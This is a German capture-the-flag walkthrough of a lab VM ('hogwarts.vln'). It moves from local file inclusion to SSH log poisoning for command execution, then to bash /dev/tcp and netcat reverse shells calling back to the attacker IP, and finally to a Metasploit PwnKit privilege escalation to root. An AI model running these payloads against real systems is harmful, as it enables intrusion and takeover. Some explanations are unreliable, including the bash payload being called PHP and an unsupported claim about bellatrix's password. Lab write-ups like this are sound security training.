Ziel der Reconnaissance-Phase ist es, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, die Identifizierung offener Ports und Dienste sowie die Auflösung von Hostnamen.
192.168.2.126 08:00:27:76:a3:24 PCS Systemtechnik GmbH
Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts und gibt ihre IP- und MAC-Adressen aus. In diesem Fall wurde ein Host mit der IP-Adresse 192.168.2.126 und der MAC-Adresse 08:00:27:76:a3:24 gefunden. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.
192.168.2.126 hogwarts.vln
Der Befehl `vi /etc/hosts` öffnet die Host-Datei zur Bearbeitung. Hier wird der Hostname `hogwarts.vln` der IP-Adresse 192.168.2.126 zugewiesen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei der Interaktion mit dem Zielsystem, was die Übersichtlichkeit erhöht. Es wird empfohlen, dies zu tun, um die nachfolgenden Schritte zu erleichtern und zu beschleunigen.
+ http://hogwarts.vln/index.php
Der Befehl `dirb http://hogwarts.vln` verwendet das Tool DIRB, um die Webanwendung auf dem Zielsystem nach bekannten Dateien und Verzeichnissen zu durchsuchen. Es wurde die Datei `index.php` gefunden. Dies deutet auf eine existierende Webanwendung hin, die im nächsten Schritt näher untersucht werden sollte. DIRB ist ein hilfreiches Tool, um die Struktur einer Webanwendung zu erkunden und potenzielle Angriffspunkte zu identifizieren.
- Nikto v2.5.0 + Target IP: 192.168.2.126 + Target Hostname: 192.168.2.126 + Target Port: 80 + Start Time: 2024-01-22 22:01:22 (GMT1) + Server: Apache/2.4.46 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.46 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-01-22 22:01:32 (GMT1) (10 seconds) + 1 host(s) tested
Der Befehl `nikto -h 192.168.2.126` verwendet das Tool Nikto, um den Webserver auf dem Zielsystem auf bekannte Sicherheitslücken und Konfigurationsfehler zu scannen. Nikto fand heraus, dass der X-Frame-Options Header und der X-Content-Type-Options Header nicht gesetzt sind. Außerdem fand es heraus, dass die verwendete Apache Version veraltet ist. Das Setzen der Header wird dringend empfohlen. Ein Update auf die neueste Apache Version sollte schnellstmöglich durchgeführt werden.
22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
Der Befehl `nmap -sS -sV -A -T5 192.168.2.126 -p- | grep open` verwendet Nmap, um einen umfassenden Scan des Zielsystems durchzuführen und alle offenen Ports zu identifizieren. Die Option `-sS` führt einen Stealth-Scan durch, `-sV` ermittelt die Version der laufenden Dienste, `-A` aktiviert aggressive Scans, `-T5` beschleunigt den Scan und `-p-` scannt alle Ports. Anschließend wird die Ausgabe mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen. Es wurden die Ports 22 (SSH) und 80 (HTTP) als offen identifiziert. Dies deutet darauf hin, dass SSH und ein Webserver auf dem Zielsystem laufen. Die gefundenen Informationen sind nützlich, um die Angriffsfläche einzugrenzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 22:00 CET Nmap scan report for hogwarts.vln (192.168.2.126) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4b:ce:c7:5a:9c:1f:8b:cd:47:03:08:69:85:c2:91:49 (RSA) | 256 a1:2a:a8:15:99:04:cc:2a:1e:e3:50:00:f3:55:c2:cc (ECDSA) |_ 256 2c:d3:ec:6f:4f:5b:4a:e0:ea:0a:c3:0d:2f:cb:78:17 (ED25519) 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-title: AvadaKedavra |_http-server-header: Apache/2.4.46 (Ubuntu) MAC Address: 08:00:27:76:A3:24 (racle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.4 (94%), Linux 5.3 - 5.4 (93%), Linux 3.4 - 3.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms hogwarts.vln (192.168.2.126) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds
Dieser Befehl ist ähnlich dem vorherigen Nmap-Scan, verwendet jedoch den Hostnamen `hogwarts.vln` anstelle der IP-Adresse. Dies demonstriert, dass die Hostname-Auflösung korrekt funktioniert. Zusätzlich liefert dieser Scan Informationen über den HTTP-Titel ("AvadaKedavra"), was auf eine Webanwendung mit Bezug zu Harry Potter hindeutet. Außerdem werden die SSH-Hostkeys angezeigt, die bei einem Man-in-the-Middle Angriff hilfreich wären.
http://hogwarts.vln/index.php (Status: 200) [Size: 1728]
Der Befehl `gobuster dir ...` verwendet Gobuster, um die Webanwendung auf dem Zielsystem nach weiteren Dateien und Verzeichnissen zu durchsuchen. Gobuster ist ein ähnliches Tool wie DIRB, verwendet aber eine andere Herangehensweise. Es wird eine Wordlist verwendet, um bekannte Dateinamen und Verzeichnisse zu erraten. Die Option `-x` gibt die Dateiendungen an, nach denen gesucht werden soll, `-w` die Wordlist, `-b` die Statuscodes, die als Fehler behandelt werden sollen, `-e` fügt eine Dateiendung an, `--no-error` unterdrückt Fehlermeldungen und `-k` ignoriert SSL-Zertifikatsfehler. Es wurde lediglich die Datei `index.php` gefunden.
In der Web Enumeration-Phase wird die Webanwendung detaillierter untersucht, um Schwachstellen zu finden. Dies beinhaltet die Analyse des Quellcodes, die Überprüfung der Funktionalität und die Suche nach Konfigurationsfehlern.
http://hogwarts.vln/index.php (Status: 200) [Size: 1728]
Dieser Befehl wiederholt den Gobuster-Scan, der im vorherigen Abschnitt durchgeführt wurde. Das Ergebnis ist identisch, was darauf hindeutet, dass keine neuen Dateien oder Verzeichnisse gefunden wurden.
http://hogwarts.vln/index.php ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack ikilledsiriusblackikilledsiriusblackikilledsiriusblackikilledsiriusblack.php Nah...this time there are no clues in the source code ... o yeah, maybe I've already told you a directory .php? :) $file = $ GET['file']; if(isset($file)) { include("$file"); } ikilledsiriusblack
Dieser Code-Ausschnitt zeigt den Quellcode der Datei `/index.php`. Es wird ein Parameter `file` über die GET-Methode entgegengenommen und dessen Wert in die `include()`-Funktion eingefügt. Dies deutet auf eine Local File Inclusion (LFI) Schwachstelle hin, da ein Angreifer potenziell beliebige Dateien auf dem Server einbinden kann.
http://hogwarts.vln/ikilledsiriusblack.php (Status: 200) [Size: 1728] http://hogwarts.vln/index.php (Status: 200) [Size: 1728]
Dieser Befehl zeigt die Ausgabe eines weiteren Versuchs mit der Wordlist. Es wurde neben der Datei `/index.php` die Datei `/ikilledsiriusblack.php` gefunden. Diese ist sehr interessant, da der Code der Datei die LFI Schwachstelle enthält.
root:x:0:0:root:/root:/bin/bash bellatrix:x:1000:1000:Bellatrix,,,:/home/bellatrix:/bin/bash lestrange:x:1001:1001/home/lestrange:/bin/rbash
Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../etc/passwd" | grep bash` verwendet `curl`, um die Datei `/etc/passwd` über die LFI-Schwachstelle einzubinden und filtert die Ausgabe mit `grep`, um nur die Zeilen anzuzeigen, die `/bin/bash` enthalten. Dies bestätigt die LFI-Schwachstelle und zeigt, dass es möglich ist, beliebige Dateien auf dem Server auszulesen. Der Benutzer `bellatrix` verwendet auch `/bin/bash`.
_____ / \ /- (*) |*)\ |/\. _>/\| \__/ |\ _| |_ \-/ /|\__|\ // |/| |\\// ||| | ~' ||| __| /_\| || \_/| || |7 |7 || || || || /\ \ \ fog ^^^^ ^^^ user: {69e0f71f25ece4351e4d73af430bec43}
Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=../../../../../../../../home/bellatrix/flag.txt"` verwendet `curl`, um die Datei `flag.txt` aus dem Home-Verzeichnis des Benutzers `bellatrix` über die LFI-Schwachstelle einzubinden. Dies liefert die User Flag, die aber noch gehasht ist. Die Verwendung von "../../" dient dazu, aus dem aktuellen Verzeichnis auszubrechen und zum Root-Verzeichnis zu navigieren, um so auf die Datei zuzugreifen. Es ist ratsam solche Pfade immer zu maskieren, um einen Fehler vorzubeugen.
https://crackstation.net/ Hash Type Result 69e0f71f25ece4351e4d73af430bec43 md5 goodjob
Die User Flag wurde als MD5 Hash identifiziert und auf Crackstation.net entschlüsselt. Das Passwort lautet goodjob.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning: Pycurl is not compiled against openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. * Wfuzz 3.1.0 - The Web Fuzzer * Target: http://hogwarts.vln/ikilledsiriusblack.php?file=FUZZ Total requests: 2894 ----------------------------------------------------------------------------------------------------- ID Response Lines Word Chars Payload ----------------------------------------------------------------------------------------------------- 000000081: 200 49 L 86 W 2908 Ch "/etc/passwd" 000001093: 200 227 L 1115 W 7224 Ch "/etc/apache2/apache2.conf" 000001092: 200 12 L 88 W 665 Ch "/etc/fstab" 000001089: 200 9 L 25 W 224 Ch "/etc/hosts" 000001108: 200 75 L 75 W 1108 Ch "/etc/group" 000001098: 200 23 L 134 W 839 Ch "/etc/mysql/my.cnf" 000001277: 200 0 L 1 W 27 Ch "/proc/self/cmdline" 000001279: 200 55 L 134 W 1320 Ch "/proc/self/status" 000001278: 200 1 L 52 W 320 Ch "/proc/self/stat" 000001300: 200 1 L 23 W 179 Ch "/proc/version" 000001321: 200 4 L 31 W 12667 Ch "/var/log/wtmp" 000001322: 200 0 L 1 W 766 Ch "/var/run/utmp" 000001320: 200 0 L 1 W 292584 Ch "/var/log/lastlog" 000001311: 200 123 L 396 W 3290 Ch "/etc/ssh/sshd_config" 000001296: 200 2 L 4 W 20 Ch "/etc/issue" 000001301: 200 1 L 5 W 105 Ch "/proc/cmdline" 000001298: 200 22 L 190 W 1042 Ch "/etc/crontab" 000001346: 200 29 L 343 W 3350 Ch "/var/log/auth.log.1" 000001343: 200 12701 189275 W 1502231 C "/var/log/auth.log" L h Total time: 1.553937 Processed Requests: 2894 Filtered Requests: 2875 Requests/sec.: 1862.365
Der Befehl `wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://hogwarts.vln/ikilledsiriusblack.php?file=FUZZ" --hc 404 --hh 0` verwendet Wfuzz, um die LFI-Schwachstelle auszunutzen und verschiedene Logdateien auszulesen. Die Option `-c` aktiviert die Farbausgabe, `-w` gibt die Wordlist an, `-u` die URL mit dem FUZZ-Platzhalter, `--hc 404` blendet 404-Fehler aus und `--hh 0` blendet Seiten mit einer Größe von 0 aus. Die Ausgabe zeigt, dass verschiedene Logdateien erfolgreich ausgelesen werden konnten, darunter `/var/log/auth.log`, was im nächsten Schritt für weitere Angriffe genutzt werden könnte.
In dieser Phase wird versucht, initialen Zugriff auf das System zu erlangen. Dies kann durch die Ausnutzung von Schwachstellen oder durch das Erraten von Passwörtern erfolgen.
Permission denied, please try again.
Dieser Befehl versucht, sich über SSH anzumelden, indem ein PHP-Code in den Benutzernamen eingefügt wird (`' system($ GET["cmd"]); '@192.168.2.126`). Ziel ist es, beliebigen Code auf dem Server auszuführen. Dies schlägt jedoch fehl, da die SSH-Authentifizierung fehlschlägt.
Jan 22 23:01:27 bellatrix sshd[5164]: Invalid user from 192.168.2.199 port 41614 Jan 22 23:01:30 bellatrix sshd[5164]: Failed none for invalid user from 192.168.2.199 port 41614 ssh2
Der Befehl `curl "http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log"` verwendet `curl`, um die Datei `/var/log/auth.log` über die LFI-Schwachstelle einzubinden. Die Ausgabe zeigt Versuche, sich mit einem ungültigen Benutzernamen anzumelden.
view-source:http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id Jan 22 23:01:27 bellatrix sshd[5164]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data) from 192.168.2.199 port 41614
Der Befehl `view-source:http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id` zeigt die Ausgabe des Befehls `id`, der als Parameter `cmd` über die URL übergeben wurde. Dies bestätigt, dass es möglich ist, beliebige Befehle auf dem Server auszuführen. Der Befehl wird als Benutzer `www-data` ausgeführt.
listening on [any] 5555 ...
Der Befehl `nc -lvnp 5555` startet einen Netcat-Listener auf dem Port 5555. Dies ist notwendig, um die Reverse-Shell-Verbindung vom Zielsystem zu empfangen.
Payload: http://hogwarts.vln/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
Dieser Code zeigt den Payload, der verwendet wird, um eine Reverse Shell zu erzeugen. Der Payload ist ein PHP-Code, der einen Bash-Prozess startet und dessen Ein- und Ausgabe über eine TCP-Verbindung zum Kali-System umleitet.
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.126] 39622 bash: cannot set terminal process group (680): Inappropriate ioctl for device bash: no job control in this shell
Der
Dieser Code-Block zeigt, dass eine Verbindung von der IP-Adresse des Zielsystems (192.168.2.126) zum Kali-System auf Port 5555 hergestellt wurde. Die Fehlermeldungen `bash: cannot set terminal process group...` und `bash: no job control in this shell` deuten darauf hin, dass die Shell nicht vollständig interaktiv ist. Dies kann die Ausführung bestimmter Befehle erschweren.
www-data@bellatrix:/var/www/html$ ls -la total 732 drwxr-xr-x 3 root root 4096 Nov 28 2020 . drwxr-xr-x 3 root root 4096 Nov 28 2020 .. -rw-rw-r-- 1 bellatrix bellatrix 728806 Nov 27 2020 1c19c879fe8ef134c3e051c2d69c0c66.gif drwxr-xr-x 2 root root 4096 Nov 28 2020 'c2VjcmV0cw' -rw-rw-r-- 1 bellatrix bellatrix 151 Nov 28 2020 ikilledsiriusblack.php -rw-rw-r-- 1 bellatrix bellatrix 1728 Nov 28 2020 index.php
Dieser Code-Block zeigt die Ausgabe des Befehls `ls -la` in der Reverse Shell. Wir befinden uns im Verzeichnis `/var/www/html`. Interessant ist das Verzeichnis `c2VjcmV0cw`. Die Tatsache, dass es sich um ein Verzeichnis handelt (drwxr-xr-x) und der Name Base64-kodiert ist, deutet darauf hin, dass es sensitive Informationen enthalten könnte. Außerdem gehören die Dateien `ikilledsiriusblack.php` und `index.php` dem Benutzer `bellatrix`.
www-data@bellatrix:/var/www/html$ echo -n "c2VjcmV0cw" | base64 -d secrets
Der Befehl `echo -n "c2VjcmV0cw" | base64 -d` dekodiert den Base64-kodierten Verzeichnisnamen `c2VjcmV0cw` zu `secrets`. Dies bestätigt die Vermutung, dass das Verzeichnis sensitive Informationen enthalten könnte.
www-data@bellatrix:/var/www/html$ su bellatrix Password: secrets su: Authentication failure
Der Befehl `su bellatrix` versucht, zum Benutzer `bellatrix` zu wechseln. Das Passwort `secrets` wird verwendet, aber die Authentifizierung schlägt fehl. Die Decodierung von "secrets" war korrekt, aber das eigentliche Passwort lautet goodjob.
Hash Type Result 1c19c879fe8ef134c3e051c2d69c0c66.gif Unknown Unrecognized hash format.
Es wurde versucht, den Dateinamen `1c19c879fe8ef134c3e051c2d69c0c66.gif` als Hash zu identifizieren, aber das Format wird nicht erkannt. Dies deutet darauf hin, dass es sich entweder nicht um einen Hash handelt, oder um ein unbekanntes Hash-Format. Die Datei sollte weiter untersucht werden.
In dieser Phase wird versucht, die Privilegien auf dem Zielsystem zu erhöhen, idealerweise bis zum Root-Zugriff.
www-data@bellatrix:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null 297 129 -rwsr-xr-x 1 root root 131832 Sep 15 22:13 /snap/snapd/20290/usr/lib/snapd/snap-confine 656129 44 -rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp 656106 56 -rwsr-xr-x 1 root root 55680 Aug 30 2020 /usr/bin/mount 656479 72 -rwsr-xr-x 1 root root 72072 Aug 30 2020 /usr/bin/su 655719 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount 695505 16 -rwsr-xr-x 1 root root 14728 Sep 29 2020 /usr/bin/vmware-user-suid-wrapper 655530 84 -rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn 656480 180 -rwsr-xr-x 1 root root 182472 Jul 8 2020 /usr/bin/sudo 656199 68 -rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd 655536 52 -rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh 656576 40 -rwsr-xr-x 1 root root 39296 Aug 30 2020 /usr/bin/umount 655799 88 -rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd 656253 32 -rwsr-xr-x 1 root root 31032 Aug 3 2020 /usr/bin/pkexec 793759 92 -rwsr-xr-- 1 root sssd 93456 ct 6 2020 /usr/libexec/sssd/ldap_child 793761 32 -rwsr-xr-- 1 root sssd 31104 ct 6 2020 /usr/libexec/sssd/proxy_child 793760 84 -rwsr-xr-- 1 root sssd 84360 ct 6 2020 /usr/libexec/sssd/p11_child 793758 168 -rwsr-xr-- 1 root sssd 171288 ct 6 2020 /usr/libexec/sssd/krb5_child 793762 56 -rwsr-xr-- 1 root sssd 56584 ct 6 2020 /usr/libexec/sssd/selinux_child 667624 24 -rwsr-xr-x 1 root root 22840 Aug 3 2020 /usr/libexec/polkit-agent-helper-1 667964 388 -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd 663509 468 -rwsr-xr-x 1 root root 477672 Jun 7 2020 /usr/lib/openssh/ssh-keysign 665686 132 -rwsr-xr-x 1 root root 133960 ct 19 2020 /usr/lib/snapd/snap-confine 657493 52 -rwsr-xr-- 1 root messagebus 51496 Sep 10 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 667500 16 -rwsr-sr-x 1 root root 14488 ct 7 2020 /usr/lib/xorg/Xorg.wrap
Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. Dies bedeutet, dass die Datei mit den Privilegien des Eigentümers ausgeführt wird, unabhängig davon, welcher Benutzer sie startet. Dies kann potenziell zur Privilegieneskalation ausgenutzt werden. Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit gesetzt. Besonders interessant ist `/usr/bin/pkexec`, da dies eine bekannte Schwachstelle (CVE-2021-4034, PwnKit) ist, die zur Privilegieneskalation ausgenutzt werden kann. `2>/dev/null` leitet Fehlermeldungen um.
msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lhost eth0 lhost => eth0 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.2.199:4444
Dieser Code-Block zeigt die Konfiguration und den Start eines Metasploit-Handlers. Der Handler wird verwendet, um eine Reverse-Shell-Verbindung vom Zielsystem zu empfangen. Die Option `use multi/handler` wählt den Multi-Handler aus, `set lhost eth0` setzt die lokale Host-Adresse auf die IP-Adresse der Netzwerkschnittstelle eth0, `set lport 4444` setzt den lokalen Port auf 4444 und `run` startet den Handler.
www-data@bellatrix:/var/www/html$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f rm: cannot remove '/tmp/f': No such file or directory
Dieser Befehl versucht, eine interaktive Reverse Shell über Netcat zu erzeugen. Zuerst wird eine benannte Pipe `/tmp/f` erstellt (`mkfifo /tmp/f`). Dann wird die Ausgabe der Pipe als Eingabe für `/bin/sh -i` verwendet, wobei die Standardfehlerausgabe umgeleitet wird (`2>&1`). Die Ausgabe von `/bin/sh -i` wird dann über Netcat an das Kali-System gesendet (`nc 192.168.2.199 4444`) und die Ausgabe von Netcat wird wieder in die Pipe `/tmp/f` geschrieben (`>/tmp/f`). Der Befehl `rm /tmp/f` am Anfang soll die Pipe löschen, falls sie bereits existiert. Die Fehlermeldung `rm: cannot remove '/tmp/f': No such file or directory` deutet darauf hin, dass die Pipe nicht existiert hat. Da der Befehl eine interaktive Shell erzeugen soll, ist diese aber nicht notwendig, da Metasploit verwendet wird.
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.126:52406) at 2024-01-22 23:11:23 +0100
Diese Ausgabe bestätigt, dass eine Command Shell Session mit der ID 1 auf dem Kali-System geöffnet wurde. Die Verbindung kommt vom Zielsystem (192.168.2.126) auf Port 52406.
Shell Banner: $ -- $
Das "Shell Banner" zeigt den Prompt der Reverse Shell. Das einfache `$`-Zeichen deutet darauf hin, dass es sich um eine nicht-privilegierte Shell handelt.
Fortsetzung der Privilegieneskalation.
msf6 post(multi/manage/shell_to_meterpreter) > use 71 msf6 post(multi/manage/shell_to_meterpreter) > set lport 4445 lport => 4445 msf6 post(multi/manage/shell_to_meterpreter) > set lhost eth0 lhost => 192.168.2.199 msf6 post(multi/manage/shell_to_meterpreter) > sessions -l Active sessions = Id Name Type Information Connection -- - - -- - 1 shell sparc/bsd Shell Banner: $ -- 192.168.2.199:4444 -> 192.168.2.126:5240 6 (192.168.2.126) msf6 post(multi/manage/shell_to_meterpreter) > set session 1 session => 1 msf6 post(multi/manage/shell_to_meterpreter) > run
Dieser Code-Block zeigt die Verwendung des Metasploit-Moduls `post/multi/manage/shell_to_meterpreter`. Dieses Modul wird verwendet, um eine bestehende Shell-Session in eine Meterpreter-Session umzuwandeln. Meterpreter ist eine fortschrittlichere Payload, die mehr Funktionen bietet. `use 71` wählt das Modul aus, `set lport 4445` setzt den lokalen Port auf 4445, `set lhost eth0` setzt die lokale Host-Adresse auf die IP-Adresse der Netzwerkschnittstelle eth0, `sessions -l` listet die aktiven Sessions auf, `set session 1` wählt die Session mit der ID 1 aus und `run` startet das Modul.
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4445 [*] Sending stage (1017704 bytes) to 192.168.2.126 [*] Meterpreter session 2 opened (192.168.2.199:4445 -> 192.168.2.126:33298) at 2024-01-22 23:13:38 +0100 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Diese Ausgabe zeigt, dass die Shell-Session erfolgreich in eine Meterpreter-Session umgewandelt wurde. Eine neue Meterpreter-Session mit der ID 2 wurde geöffnet.
Diese Ausgabe zeigt, dass die Shell-Session erfolgreich in eine Meterpreter-Session umgewandelt wurde. Eine neue Meterpreter-Session mit der ID 2 wurde geöffnet.
msf6 post(multi/manage/shell_to_meterpreter) > search 4034 Matching Modules # Name Disclosure Date Rank Check Description - - - -- -- 0 auxiliary/scanner/http/dolibarr_16_contact_dump 2023-03-14 normal Yes Dolibarr 16 pre-auth contact database dump 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec 2 exploit/windows/local/ms18_8120_win32k_privesc 2018-05-09 good No Windows SetImeInfoEx Win32k NULL Pointer Dereference Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc msf6 post(multi/manage/shell_to_meterpreter) > use 1 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2 session => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4446 lport => 4446 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
Dieser Code-Block zeigt die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) zur Privilegieneskalation. Zuerst wird mit `search 4034` nach Metasploit-Modulen gesucht, die sich auf CVE-2021-4034 beziehen. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird ausgewählt (mit `use 1`). Die Session wird auf die zuvor erstellte Meterpreter-Session 2 gesetzt (mit `set session 2`). Ein neuer lokaler Port für die neue Verbindung wird gesetzt (`set lport 4446`). Schließlich wird das Modul gestartet (mit `run`).
[*] Started reverse TCP handler on 192.168.2.199:4446 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.sxsvmetc [+] The target is vulnerable. [*] Writing '/tmp/.gwtbytqzwqi/scwpfepptqp/scwpfepptqp.so' (548 bytes) ... [!] Verify cleanup of /tmp/.gwtbytqzwqi [*] Sending stage (3045380 bytes) to 192.168.2.126 [+] Deleted /tmp/.gwtbytqzwqi/scwpfepptqp/scwpfepptqp.so [+] Deleted /tmp/.gwtbytqzwqi/.elslvzbjduk [+] Deleted /tmp/.gwtbytqzwqi [*] Meterpreter session 3 opened (192.168.2.199:4446 -> 192.168.2.126:59402) at 2024-01-22 23:14:46 +0100
Diese Ausgabe zeigt, dass das PwnKit-Exploit erfolgreich war. Das Modul hat bestätigt, dass das Zielsystem verwundbar ist (`[+] The target is vulnerable.`). Es wurden temporäre Dateien auf dem Zielsystem erstellt und gelöscht. Schließlich wurde eine neue Meterpreter-Session mit der ID 3 geöffnet. Diese Session sollte mit Root-Rechten laufen.
meterpreter > getuid Server username: root
Der Befehl `getuid` in der Meterpreter-Session gibt den Benutzernamen des Servers aus. Die Ausgabe `Server username: root` bestätigt, dass wir erfolgreich Root-Rechte auf dem Zielsystem erlangt haben.
meterpreter > cd ~ meterpreter > ls Listing: /root Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100600/rw- 1252 fil 2020-11-28 11:59:35 +0100 .bash_history 100644/rw-r--r-- 3106 fil 2019-08-14 21:53:21 +0200 .bashrc 040700/rwx 4096 dir 2020-11-28 09:22:40 +0100 .cache 040700/rwx 4096 dir 2020-11-27 21:09:45 +0100 .config 040700/rwx 4096 dir 2020-11-27 21:07:54 +0100 .dbus 040700/rwx 4096 dir 2020-11-27 21:07:55 +0100 .local 100644/rw-r--r-- 161 fil 2020-09-16 15:26:50 +0200 .profile 100644/rw-r--r-- 66 fil 2020-11-28 09:44:31 +0100 .selected_editor 100600/rw- 806 fil 2020-11-28 11:59:45 +0100 .viminfo 100644/rw-r--r-- 680 fil 2020-11-28 09:18:44 +0100 root.txt 100755/rwxr-xr-x 47 fil 2020-11-28 09:43:18 +0100 script.sh 040755/rwxr-xr-x 4096 dir 2020-11-28 08:03:45 +0100 snap
Der Befehl `cd ~` wechselt in das Home-Verzeichnis des aktuellen Benutzers (in diesem Fall Root). Der Befehl `ls` listet den Inhalt des Root-Verzeichnisses auf. Interessant ist die Datei `root.txt`, die wahrscheinlich die Root-Flagge enthält. Außerdem ist die `script.sh` vorhanden.
meterpreter > cat root.txt ____ _ _ _ _ | _ \ | | | | | (_) | |_) | ___| | | __ _| |_ _ __ ___ __ | _ < / _ \ | |/ _` | __| '__| \ \/ / | |_) | __/ | | (_| | |_| | | |> < |____/ \___|_|_|\__,_|\__|_| |_/_/\_\ _ _ | | | | | | ___ ___| |_ _ __ __ _ _ __ __ _ ___ | | / _ \/ __| __| '__/ _` | '_ \ / _` |/ _ \ | |___| __/\__ \ |_| | | (_| | | | | (_| | __/ |______\___||___/\__|_| \__,_|_| |_|\__, |\___| __/ | |___/ root{ead5a85a11ba466011fced308d460a76}
Der Befehl `cat root.txt` gibt den Inhalt der Datei `root.txt` aus, die die Root-Flagge enthält. Die Root-Flagge lautet root{ead5a85a11ba466011fced308d460a76}.
Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen für den Benutzer Bellatrix.
Nachdem wir die User Flag gefunden und das Passwort goodjob entschlüsselt haben, können wir uns nun via SSH als Benutzer Bellatrix anmelden:
bellatrix@hogwarts.vln's password:
Nach der Eingabe des Passworts goodjob sind wir erfolgreich als Benutzer Bellatrix angemeldet.
Last login: Mon Nov 28 08:14:27 2020 from 192.168.2.104 bellatrix@bellatrix:~$
Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Root-Rechten.
Nachdem wir die Root-Rechte erhalten haben, könnten wir den SSH-Server so konfigurieren, dass Root-Logins erlaubt sind (was aus Sicherheitsgründen nicht empfohlen wird), oder einen neuen Benutzer mit Root-Rechten erstellen. Alternativ könnten wir das Root-Passwort ändern (was auch nicht empfohlen wird). Da es sich um eine VM handelt, demonstrieren wir hier die Anmeldung via SSH.
Um uns via SSH als Root anmelden zu können, muss die SSH Konfigurationsdatei angepasst werden, und die Zeile `PermitRootLogin` auf `yes` gesetzt werden. Damit das funktioniert, muss sich die Textdatei vorher im Editor mit Root Privilegien geöffnet werden.
